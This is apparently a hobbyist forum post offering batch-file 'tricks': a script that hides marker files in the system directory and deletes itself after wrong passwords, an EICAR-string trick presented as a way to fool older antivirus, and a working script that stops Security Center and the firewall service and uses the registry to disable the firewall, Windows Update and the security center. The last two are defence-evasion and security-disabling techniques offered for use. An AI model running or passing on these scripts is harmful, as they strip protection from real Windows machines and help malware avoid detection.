Batch is great for beginners. Simple commands, cant get easier than that
These are some useful tricks that can help you improve your batch programing.
1. Password protect, Invalid Passwords= Self destruction
Code: Select all
@echo off
cd %systemroot%
color 0a
cls
echo.
echo.
set /p confirmation= Enter Security Password:
if %confirmation%==Insection goto confirmed
if %confirmation%==selfdestruct goto selfdestruct
if exist "%systemroot%\death3.666" goto selfdestruct
if exist "%systemroot%\death2.666" goto say3
if exist "%systemroot%\death1.666" goto say2
:say1
copy %0 "%systemroot%\death1.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 3 more incorrect passwords.
exit
:say2
copy %0 "%systemroot%\death2.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 2 more incorrect passwords.
exit
:say3
copy %0 "%systemroot%\death3.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 1 more incorrect passwords.
exit
:selfdestruct
msg * File Self Destructed -Too many incorrect Passwords
del %0 /f /q >nul
:confirmed
YOUR CODE GOES HERE
As you can see when the correct password is entered, it takes you to :confirmed and thats where you place your codes.
If an invalid password is entered the bat creates Hidden files which it uses to remember how many times an invalid password was entered in %systemroot%/WINDOWS and informs you of an invalid password entry.
So 1 invalid password = 1 log file
3 log files = your bat deleting itself
The next time you enter an invalid password, the bat file checks how many log files were created before (as in how many times you entered an invalid password) and if 3 log files have already been created then the bat deletes itself.
2. EICAR STRING
By simply putting this in the beginning of your bat, you may fool some older AV's
Code: Select all
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
3. Firewall "Disable"
Code: Select all
@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO REGEDIT4
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
Hope i helped - Will edit this post and add more stuff later on